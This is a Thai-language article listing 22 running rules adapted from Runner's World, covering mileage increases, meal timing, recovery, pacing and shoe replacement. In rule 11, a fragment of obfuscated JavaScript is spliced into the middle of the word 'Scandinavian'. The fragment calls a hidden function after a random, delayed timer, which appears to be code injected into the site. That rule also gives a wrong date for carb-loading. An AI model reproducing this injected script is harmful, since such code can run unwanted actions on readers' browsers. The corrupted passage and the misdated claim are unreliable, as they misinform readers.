22 ข้อควรรู้เพื่อการเป็นนักวิ่งที่ดี

22 ข้อควรรู้เพื่อการเป็นนักวิ่งที่ดี บทความนี้ดัดเเปลงจาก The 25 Golden Rules of Running หรือ กฎทอง 25 ข้อ ของการเป็นนักวิ่งที่ดี เเปลมาจากเวบ Runner’s world ถูกเขียนขึ้นโดย Bob Cooperเมื่อปี 2005 และเป็นที่นิยมถึงปัจจุบัน

กฏบางข้อบ้างก็ถูกพัฒนามาจากประสบการณ์ส่วนตัวของนักวิ่ง บ้างก็มาจากการศึกษาทางวิทยาศาสตร์ ให้นักวิ่งหน้าใหม่ หน้าเก่าหรือเเม้เเต่โค้ชฝึกสอนได้นำใช้ เเละเพราะเหตุใช้เเล้วดีจึงมีการบอกต่อ เพื่อนบอกเพื่อน อาจารย์บอกศิษย์ เเชร์ส่งต่อๆ กันในกลุ่มนักวิ่ง (และที่เข้าใจกันดี กฏย่อมมีข้อยกเว้นเสมอ)

1. ทุกการวิ่งต้องมีจุดหมาย

กล่าวได้ว่าทุกๆ การซ้อมวิ่ง ควรมีการตั้งเป้าหมาย ไม่ว่าจะเพื่อฝึก Interval, Tempo หรือ Recovery และการฝึกวิ่งเพื่อออกเเข่ง ก็ควรจินตนาการถึงเป้าหมายไว้ด้วย ตัวอย่างเช่น ถ้าฝึกวิ่งเพื่อลงเเข่งระยะ 10 กิโลเมตร และจบไม่เกินชั่วโมง หรือประมาณ pace 4-6 ก็ควรทุ่มเทกำลังกายกำลังใจฝึกวิ่งที่ความเร็ว pace 4-6 เช่นกัน ถ้าตอนฝึกยังทำไมได้ อย่าหวังว่าตอนเเข่งจะทำได้

ข้อยกเว้น จะวิ่งฝึกซ่อมเหมือนกับการเเข่งจริงบางดีก็ไม่ดี โดยเฉพาะการเเข่งขันระยะทางไกลๆ จะทำให้เรามีปัญหาเรื่องการ recovery ที่ต้องกินเวลาเยอะขึ้น ทางที่ดีลอง ลดระยะทางให้สั้นลง วิ่งให้เร็วเหมือนการเเข่งเเละมีการหยุดพักเป็นระยะ หรือการทำ Interval นั้นเอง

2. กฏ 10%

การเพิ่ม mileage หรือการเพิ่มระยะทางวิ่ง ควรเพิ่มครั้งละ 10% ต่อสัปดาห์ โดยเจ้าของกฏ 10% มาจากคุณ Joe Henderson ผู้เขียนบทความให้กับ Runner’s world และ Joan Ullyot ผู้เขียนเรื่องวิ่งๆ ให้กับนิตยสารผู้หญิง ในปี 1980 ทั้งนี้กฏ 10% ออกเเบบมาเพื่อป้องกันการเพิ่มระยะทางวิ่งหรือ milelegue ที่มากและเร็วเกินไป ซึ่งจะทำให้นักวิ่งเสี่ยงต่อการบาดเจ็บได้ง่าย

ข้อยกเว้น ในกรณีที่พักวิ่งมาพักใหญ่และเริ่มต้นวิ่งระยะไม่เกิน 10 กิโลเมตร สัปดาห์ครั้งต่อไปสามารถเพิ่มได้มากกว่า 10%

3. กิน 2 ชั่วโมงก่อนวิ่ง

หลังจากรับประทานอาหารเล้ว ควรเว้นเวลาประมาณ 2 ชั่วโมงก่อนวิ่ง รอให้ร่างกายย่อยอาหาร โดยเฉพาะอาหารประเภท High carbohydrate จะย่อยช้าหน่อย ถ้ากินเเล้วออกไปวิ่งเลย หรือไม่เว้นช่วงเวลาให้ร่างกายได้ย่อยอาหาร จะทำให้เกิดอาการปวดท้อง เเน่นท้องเเละอาเจียนได้

ข้อยกเว้น อาหารที่ประเภท High carbohydrate ถ้ากินไม่มาก รอเเค่ 90 นาทีก็ออกวิ่งได้เเล้ว เเต่ถ้ากินจัดหนัก อย่างพวก เนื้อโปรตีนและไขมัน อาจจะต้องรอไป 3 ชั่วโมงเลยก็ได้

4. Warm-up & cool-down 10 นาทีก่อนหลัง

ก่อนออกวิ่งควรทำการ warm up เบาด้วยการเดิน หรือวิ่งเบาๆ สัก 10 นาที และทำเช่นเดียวกันกับการ cool down

การ warm up เป็นการเตรียมพร้อมร่างกาย กระตุ้นให้เพิ่มการไหลเวียนของเหลือด ค่อยๆ เพิ่มอุณหภูมิกล้ามเนื้อ core ส่วนการหยุดวิ่งโดยทันทีจะทำให้มีอาการหน้ามืด วิงเวียน เป้นลมและเป็นตะคริวได้ ก่อนหยุดวิ่งทุกครั้งจึงควรมีการ cool down สัก 10 นาที

ข้อยกเว้น บางครั้งการ warm up กินเวลาน้อยกว่า 10 นาทีก็ได้

5. เจ็บให้พัก 2 วัน

ในกรณีที่มีอาการเจ็บ ซ้ำที่เดิมเป้นเวลาสองวันเเล้ว ให้หยุดวิ่งเป็นเวลา 2 วันเช่นกัน

การมีอาการปวดเป็นเวลา 2 วันติดกัน เป็นสัญญาณของการเริ่มมีอาการบาดเจ็บ การหยุดพักสัก 5 วันไม่ทำให้ระดับความฟิตคุณหายไปเยอะหรอก *(Troy Smurawa, M.D ทีมกายวิภาค USA Triathlon)

ข้อยกว้น ถ้าพักเเล้วยังเจ็บต่อเนื่องเป็นเวลาสองสัปดาห์ ให้พบหมอ

6. ใกล้วันเเข่ง อย่ากินของแปลก

หลีกเลี่ยงการกินอาหารเเปลกๆ ผิดสำเเดง โดยเฉพาะยิ่งใกล้งานเเข่งขัน

เเน่นอนว่าให้กินอาหารเเบบเดิมๆ ที่เราคุ้นท้องกันดี เพื่อเป้นการเซฟร่างกาย ป้องกันอาการท้องเสียท้องร่วง จะกินของเเปลกก็ได้ถ้าธาตุเเข็งเเต่ก็มีโอกาสงท้องเสียเหมือนกัน ทางที่ดีที่สุด ป้องกันดีกว่าเเก้

ข้อยกเว้น การกินอาหารแปลกใหม่ ยังดีกว่าการทนหิว (นักวิ่งที่โกอินเตอร์มักพบปัญหานี้บ่อย)

7. Recovery ตามจำนวนไมล์

ให้ตีวัน recovery day ตามระยะวิ่งเเข่งโดยใช้หน่วยเป็นไมล์ อย่างเช่น วิ่ง 10 กิโลเมตรก็คือ 6.25 ไมล์ เเละวิ่งมาราธอนก็ 26 ไมล์ หมายความว่าวิ่ง มินิมาราธอนให้หยุด 6 วัน วิ่งมาราธอนก็หยุด 26 วัน (recovery day)

ในวัน Recovery day ห้ามฝึกความเร็ว หรือ speed orkout หรือลงเเข่งใดๆ ทั้งสิ้น ผู้เขียนกฎนี้ขึ้นมาคือ Jack Foster นักมาราธอนผู้ทำสถิติโลก 2:11:18 ในปี 1974 – 1990 เเละเจ้าของหนังสือ Tale of the Ancient Marathoner เค้าบอกว่า “My method is roughly to have a day off racing for every mile I raced.”

ข้อยกเว้น บางครั้งการวิ่งเเข่งของเราก็ไม่ได้ใส่จนสุดตัว จะพัก จะ recovery เเค่ไม่กี่วันก็ลุยต่อได้

8. วิ่งสู้ลมไม่น่ากลัว

การวิ่งสู้ลมเป็นธรรมดาว่า pace จะช้าลง การวิ่งสู้ลมให้ใส่ใจตรงที่ความพยายามของคุณ พลังที่คุณใส่ไป หรือ effort มากกว่าจะดูที่ pace

ข้อยกเว้น การวิ่งเเบบ point to point เราวิ่งสู้ลมเเค่ช่วงเวลาหนึ่ง เดียวขากลับ ลมจะผลักให้เราวิ่งเร็วขึ้น

9. การสนทนาระหว่างวิ่ง

การวิ่งที่อยู่ในโซน Aerobic ควรจะสามารถพูดจบประโยชน์ได้

การศึกษาพบว่า ในขณะวิ่ง นักวิ่งที่สามารถพูดได้จบประโยต ปอดเเละหัวใจจะอยู่ในโซน Aerobic หรือโซน Optimal ถ้าใครที่วิ่งจนพูดไม่จบ เเสดงว่าวิ่งเร็วเกินไป

ข้อยกเว้น เวลาฝึกวิ่งเร็ว interval วิ่งเเข่ง การพูดให้จบประโยคเป็นเรื่องยากครับ

10. กฎ 20 ไมล์

ก่อนจะลงงานวิ่งมาราธอน อย่างน้อยควรวิ่งให้ได้ระยะทาง 20 ไมล์ หรือ 32 กิโลเมตร

การวิ่งมาราธอน ฝ่าเท้าเราจะถูกใช้งานหนักเเละนาน การฝึกวิ่งระยะทางไกล เป็นการฝึกเท้า ช่วงข้างของร่างกายให้คุ้นชินกับระยะทางไกลไปในตัว เป็นการฝึกสร้าง Endurance, stamina และที่สำคัญ mental strength ไปในตัวด้วย ถ้าคุณวิ่งได้ถึง 32 กิโลเมตรเเล้ว วิ่งต่ออีก 10 กิโลเมตร ถือว่าสบายมาก

ข้อยกเว้น โค้ชบางสำนักบอกว่าวิ่งเเค่ 16-18 ไมล์ หรือ 25.3 -28.8 กิโลเมตร หรือให้วิ่งให้ได้ 24 ไมล์ (38.4 กิโลเมตร)

11. กฏการโหลดคาร์โบ

ควรเน้นรับประทาอาหารที่มีคาร์โบไฮเครตก่อนการเเข่งขัน

การโหลดคาร์โบ หรือ Carbo-loading เริ่มใช้กันในปี 1997 นำเสนอโดยนักวิจัยชาว Scandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andinavian หลักการคือ การสะสมคาร์โบฯ เป็นเหมือนการสะสมเเหล่งพลังงานให้ร่างกาย เเละจะสะสมก่อนเเข่งขันสักสองสามวันก็ได้

ข้อยกเว้น โหลดคาร์ฯมากไปอ้วนได้นะ

12. กฏ 7 ปี

ทุกๆ 7 ปีคุณจะพัฒนาไปอีกขั้นหนึ่ง

ผลงานวิจัยของคุณ Mike Tymn ในปี 1980 จากการสัมภาษณ์นักวิ่งหลายๆ คนพบว่า ผลการวิ่งของพวกเขา ทั้งเวลา ระยะทาง pace ดีขึ้นหลังผ่านมา 7 ปี

ข้อยกเว้น นักวิ่งระยะสั้น อาจจะใช้เวลาเป็นสิบปีในการก้าวถึงจุดพีคของตัวเอง

13. วิ่งหันหน้าหารถ

เวลาวิ่งตามไหล่ทาง ฟุตบาต ปลอดภัยที่สุดคือวิ่งหันหน้าเข้าหารถ หรือวิ่งสวน ไม่ควรวิ่งตามวิถีสันจร เพราะเราไม่รู้ว่าอะไรตามหลังเรามา

ข้อยกเว้น กรณีที่มีการทำเส้นทางวิ่งให้ ก็ควรใช้ซะ หรือทางเลี้ยวมุมอับเเคบ ก็เปลี่ยนช่องทางวิ่งตามความปลอดภัยก็ได้

14. กฎการนอนหลับ

บวกเวลานอนหลับเพิ่มตามระยะไมล์ที่วิ่ง ตัวอย่างเช่น ถ้าสัปดาห์หนึ่งวิ่ง 30 ไมล์ ถ้าเรานอนปกติ 7 ชั่วโมงก็ควรบวกเวลานอนเพิ่มอีก 30 นาที เป็น 7.30 น.

ข้อยกเว้น สำหรับพวกนักวิ่งเป็นประเภท high energy ไม่ต้องบวกเวลาเพิ่มก็ได้

15. กฏการเติมพลังงานกลับ (refueling rule)

หลังจากเสร็จจากการเเข่งขันหรือการวิ่งซ้อมเเบบ long run เเละ speed workout เเนะนำให้รับประทานอาหาร เครื่องดื่มที่มีส่วนผสม คาร์โบ – โปรตีน

อย่างเเรกที่ต้องรู้คือ เราต้องการคาร์โบไฮเดรต เพื่อเปลี่ยนเป็นไกลโคเจนสะสมในกล้ามเนื้อใหม่ เป็นเเหล่งพลังงานให้กล้ามเนื้อ อย่างที่สองเราต้องการโปรตีนเพื่อซ่อมเเซมและสร้างกล้ามเนื้อขึ้นมาใหม่ ตามคำกล่าวของ Nancy Clark เจ้าของหนังสือ Food Guide for Marathoners บอกว่าเราควรรับ คาร์โบ – โปรตีน ในสัดส่วน 4:1 หรืออาหารของกินเเบบง่ายๆ ที่หาได้ทั่วไป อย่าง นมรสช็อกโกเลต แบบ low-fat ที่ให้พลังงาน 150-300 เเคลอรี่ หรือพวก Recovery sport drink และโยเกริ์ตเป็นต้น

ข้อยกเว้น การเติมพลังงานกลับทันทีไม่สำคัยเลยถ้าคุณไม่ออกวิ่งและวิ่งหนักใน 24 ชั่วโมงต่อไปอีกครั้ง

16. ฝึกกล้ามเนื้อบ้าง

เป็นนักวิ่งที่เอาเเต่วิ่งอย่างเดียวมีโอกาสบาดเจ็บได้เหมือนกัน

การฝึกกล้ามเนื้ออย่าง cross-training หรือจะเป็น weight training จะทำให้คุณเเข็งเเรงขึ้นเเละมีสุขภาพดีขึ้นด้วย การปั่นจักรยานหรือการว่ายน้ำ เป็นกีฬาเเบบ low impact จะช่วยฝึกกล้ามเนื้อส่วนอื่น กล้ามเนื้อชุดเล็กต่างๆ ที่ใช้ซัพพอร์ตกล้ามเนื้อวิ่ง เเละให้โอกาสกล้ามเนื้อที่ใช้วิ่งหลักๆ ได้พัก

ข้อยกเว้น ถ้าอยากวิ่งให้ดี ก้ต้องฝึกวิ่งเป็นหลัก ถ้าเวลามีน้อยให้ทุ่มเทไปที่การฝึกวิ่งนะครับ

17. รักษา pace ให้นิ่งไว้ (The Even-Pace Rule)

หนึ่งในวิธีเเข่งวิ่งที่ดีคือการรักษา pace ของเราให้คงที่ ทั้งเเต่เริ่มจนจบ ถ้าเราวิ่งเร็วเเต่ต้น จะช้าลงในตอนท้ายๆ เเน่นอน ฉะนั้นอย่าตื่นเต้นควบฝ่าเท้าวิ่งออกตัวเร็วไปตามคนอื่นๆ รักษาระดับพลังงานเราให้คงที่ การเเข่งนั้นระยะทางไกล

ข้อยกเว้น กฎนี้ไม่สามารถใช้ได้กับการวิ่งขึ้นเขา หรือวันที่มีลมเเรง เเม้จะวิ่งออกเเรงเท่าๆ กัน

18. กฏรองเท้าวิ่ง

เเนะนำให้เปลี่ยนรองเท้าทุกๆ 400-500 ไมค์หรือ 600-800 กิโลเมตร

Warren Greene ผู้เขียนบทความ Runner’s World gear เเนะนำให้ซื้อรองเท้าใหม่ก่อนที่คู่เก่าจะหมดสภาพ เอามาใส่เดินนวดไปมาก่อนสักพัก การเปลี่ยนรองเท้าใหม่ยังสามารถดูได้จาก โฟมรองรับการกระเเทกหมดสภาพไม่มีการสปริงตัวกลับ

ข้อยกเว้น อายุของรองเท้าเเต่ละยี่ห้อ เเต่ละรุ่นมีแตกต่างกันไป ขึ้นอยู่กับวัสดุที่ใช้ น้ำหนักของคุณ รูปเเบบการลงเท้าและพื้นผิวถนนที่ใช้วิ่ง

19. วันหนักวันเบา (The Hard/Easy Rule)

ให้มีวันวิ่งเบาหลังจากวันที่วิ่งหนักๆ

วิ่งเบา หรือ Easy หมายถึง การวิ่งระยะสั้นๆ วิ่งช้าๆ ทำ cross-training หรือพักไปเลย ส่วนการวิ่งหนัก (Hard) คือ วิ่งระยะยาว วิ่ง tempo หรือ speed workout การให้มีวิ่งหนักสลับวิ่งเบาก็เพื่อให้ร่างกายได้มีโอกาสพัก พร้อมจะออกวิ่งหนักในครั้งต่อไป โค้ช Todd Williams กล่าวไว้ว่า ออกเเบบโปรเเกรมการฝึกของคุณให้มีการวิ่งหนักสลับเบา ให้สัปดาห์วิ่งเบาในเเต่ละเดือน เเละเดือนเเห่งการวิ่งเบาในเเต่ละปี

ข้อยกเว้น หลังจากวิ่งหนักๆ ถ้าเราอายุ 40 ขึ้นไป บางทีอาจจะพัก 2-3 วันก็ได้

20. กฏการวิ่ง Speedwork-Pace

วิธีวิ่งเร็วให้มีประสิทธิภาพ หรือวิ่งเพิ่ม VO2-max คือฝึกวิ่ง Interval โดยให้ลดเวลาลง 12.5 วินาทีจาก pace ที่ใช้วิ่งเเข่งระยะ 5k หรือ 20 วินาทีใน 1 ไมล์

วิธีเพิ่มระดับ Aerobic ของร่างกายเราให้รองรับการวิ่งระยะไกลคือเพิ่ม workload ลงไป การฝึก VO2-max interval training จะทำให้ pace ที่วิ่งสั่งให้ร่างกายต้องปั้มเลือด ปอดปั้มลมเพิ่มขึ้นจากเดิม

ข้อยกเว้น สำหรับนักวิ่งเร็วอยู่เเล้ว ให้ลบเเค่ 10 วินาที/ไมล์ก็พอ เเละสำหรับนักวิ่งช้า ให้ลบ 30 วินาที/ไมค์

21 กฏการวิ่ง Tempo (The Tempo-Pace Rule)

Lactate-threshold หรือ tempo-run pace เป็นการวิ่งให้เร็วกว่า pace เดิม เร็วเกือบสุดและประคองไว้ได้ ภายในเวลา 1 ชั่วโมง

วิ่งให้ช้ากว่า pace เเข่ง 10 กิโลเมตร 12.5 วินาที ( 20 วินาที/ไมค์) หรือ 18.75 วินาที ต่อ pace เเข่ง 5 กิโลเมตร เป็นการวิ่งเร็วเพื่อเพิ่มค่า Lactate-threshold ให้คุณทดได้นานขึ้นแต่ไม่ใช้กล้ามเนื้อจนมากเกินไป เเนะนำการฝึก Tempo ควรจะอยู่ที่ 20-25 นาที

ข้อยกเว้น สำหรับนักวิ่งเร็ว ให้เพิ่มเวลาในช่วงไม่เกิน 12.5 วินาที เเละสำหรับนักวิ่งช้า 18.75 วินาที (คิดจาก pace เเข่ง 10k)

22. กฎ pace และระยะทาง (The Finishing-Time Rule)

ระยะทางไกลเท่าไหร pace ของเราก็จะช้าลงเท่านั้น

เราควรปรับความเร็ววิ่งช้าลงเท่าไหร ในการเเข่งขันวิ่งระยะทางไกล คุณ Jack Daniels และ J.R. Gilbert เจ้าของตาราง “Predict Your Performance” เเสดงให้เห็นว่าถ้าเราวิ่งที่ความเร็ว pace ต่างๆ จะจบที่เวลาเท่าไหร

ข้อยกเว้น ลักษณะพื้นที่ สนาม อากาศ มีผลให้ค่าเปลี่ยนเเปลงได้